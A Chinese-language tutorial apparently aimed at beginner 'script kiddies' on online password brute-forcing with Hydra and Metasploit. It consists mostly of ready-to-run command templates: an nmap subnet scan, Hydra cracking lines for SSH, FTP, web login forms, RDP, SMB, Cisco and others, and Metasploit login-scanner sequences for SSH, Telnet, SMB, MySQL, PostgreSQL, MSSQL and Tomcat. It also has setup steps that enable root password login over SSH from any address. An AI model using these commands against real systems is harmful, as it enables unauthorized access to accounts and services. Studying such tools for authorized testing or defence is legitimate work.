腳本小子練習的工具(一) ---------Hydra 、Metasploit
僅供技術調試參考
一、Hydra簡單介紹
Hydra是著名hack組織thc開發的一款開源的暴力密碼破解工具 ,
,可以在線破解多種密碼 。
Hydra支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等類型密碼的破解 。
github:https://github.com/vanhauser-thc/thc-hydra
二、Hydra安裝
暫略,以后安裝補全
本文使用Kali內置Hydra。
三、 本機SSH服務開啟前基礎配置 (可略)
1.1 修改配置文件
如下圖示:打開root/etc/ssh/sshd_config 目錄下文件
把# Port 22 修改為 Port 22 ,開啟22號端口
把# ListenAddress 0.0.0.0 修改為 ListenAddress 0.0.0.0 ,允許所有IP地址訪問22號端口
把# PermitRootLogin yes 修改為 PermitRootLogin yes ,開通root用戶登錄權限,即root用戶可以通過SSH遠程登錄Kali
把# PasswordAuthentication yes 修改為 PasswordAuthentication yes ,開通密碼驗證服務,使用SSH遠程登錄Kali時需要root用戶的密碼
1.2 在Kali界面開啟SSH 服務,然后將Kali放到后台運行
在Kali命令后窗口輸入 :service ssh start , 開啟SSH遠程登錄服務
在Kali命令后窗口輸入 :service ssh status , 查看SSH服務狀態 ,如圖示:running
在Kali命令后窗口輸入 :service ssh stop ,關閉SSH服務
在Kali命令后窗口輸入: service ssh restart ,重啟SSH服務
在Kali命令后窗口輸入: update-rc.d SSH enable ,開機自啟SSH服務
在Kali命令后窗口輸入: update-rc.d SSH disabled ,關閉SSH服務開機自啟
1.3 使用putty等ssh連接軟件登錄Kali並進行管理操作
先查詢一下本機ip
使用putty連接
連接成功
四、暴力破解(以SSH破解為例)
1、掃描哪些設備開啟ssh服務
使用kali自帶的namp掃描網段
nmap -p 22 --script=banner 192.168.2.0/24
我們這里可以看到192.168.2.45的ssh端口(22)已經開放
接下來我們將使用本文主角Hydra"九頭蛇"來暴力破解目標機器
我們現在命令行輸入hydra -h來查看 Hydra的幫助信息
參數:
-R 繼續從上一次進度接着破解
-S 大寫,采用SSL鏈接
-s 小寫,可通過這個參數指定非默認端口
-l 指定破解的用戶,對特定用戶破解
-L 指定用戶名字典
-p 小寫,指定密碼破解,少用,一般是采用密碼字典
-P 大寫,指定密碼字典
-e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
-M 指定目標列表文件一行一條
-o 指定結果輸出文件
-f 在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解
-t 同時運行的線程數,默認為16
-w 設置最大超時的時間,單位秒,默認是30s
-v /-V顯示詳細過程
各協議的具體命令:
格式+示例:
(1)、破解ssh:
hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
(2)、破解ftp:
hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
(3)、get方式提交,破解web登錄:
hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip http-get/admin/
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get/admin/index.PHP
(4)、post方式提交,破解web登錄:
hydra --L 用戶名字典 -P 密碼字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
參數說明:
-t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止,
10.36.16.18目標ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回信息提示
(5)、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
(6)、破解teamspeak:
hydra -L 用戶名字典 -P 密碼字典 -s 端口號 -vV ip teamspeak
(7)、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
(8)、破解smb:
hydra -L 用戶名字典 -P pass.txt 10.36.16.18 smb
(9)、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
(10)、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
(11)、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
了解了詳細命令繼續進行破解
Kali中自帶暴力破解字典,在/usr/share/wordlists/目錄下
操作命令:
hydra -L /usr/share/wordlists/ssh_username.txt -P /usr/share/wordlists/ ssh_password.txt -t 1 -vV -e ns 192.168.2.45 ssh
我這里用的個人爆破字典,推薦使用自定義的爆破字典,高效
破解成功如下圖,這里只是演示所以結果很快
2、 使用Metasploit工具集中的小插件暴破SSH服務登錄口令
第一步,開啟Metasploit,我這里也是kali內置
運行如圖
輸入: search ssh ,查看與SSH相關的攻擊模塊 ,我們找到auxiliary/scanner/ssh/ssh_login 模塊
在msf命令后界面輸入 :use auxiliary/scanner/ssh/ssh_login ,調用SSH攻擊模塊
在msf命令后界面輸入 :show options ,查看需要我們設置的參數 ,我們需要補充四點:目標主機IP地址、用戶名字典路徑、密碼字典路徑、線程數(即每秒跑幾個密碼)
set rhosts 192.168.2.45 #修改目標ip
set user_file users.txt #修改使用用戶字典
set pass_file password.txt #修改使用密碼字典
set threads 5
然后我們使用show options來查看修改結果
接下來進行最后結果,輸入run來執行,等一會就出結果了
這里提供Metasploit各個模塊的口令猜解
SSH服務口令猜解:
msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模塊)
msf auxiliary(ssh_login) > show options (查看選項)
msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目標)
msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)
msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(ssh_login) > set THREADS 50(線程)
msf auxiliary(ssh_login) > exploit (開始)
Telnet口令猜解:
msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模塊)
msf auxiliary(telnet_login) > show options (查看選項)
msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目標)
msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)
msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(telnet_login) > exploit (開始)
Samba口令猜解:
msf > use auxiliary/scanner/smb/smb_login (使用smb_login模塊)
msf auxiliary(smb_login) > show options (查看選項)
msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目標)
msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)
msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(ssmb_login) > exploit(開始)
Mysql口令猜解:
msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模塊)
msf auxiliary(mysql_login) > show options (查看選項)
msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目標)
msf auxiliary(mysql_login) > set USERNAME root(用戶名字典,或指定用戶)
msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(mysql_login) > exploit(開始)
Postgresq口令猜解:
msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模塊)
msf auxiliary(postgres_login) > show options (查看選項)
msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目標)
msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)
msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(postgres_login) > exploit (開始)
Mssql口令猜解:
msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模塊)
msf auxiliary(mssql_login) > show options (查看選項)
msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目標)
msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)
msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(mssql_login) > exploit(開始)
Tomcat口令猜解:
msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模塊)
msf auxiliary(tomcat_mgr_login) > show options(查看選項)
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目標)
msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用戶名字典,或指定用戶)
msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密碼字典文件)
msf auxiliary(tomcat_mgr_login) > exploit(開始)
以上就是Hydra、Metasploit的暴利破解過程。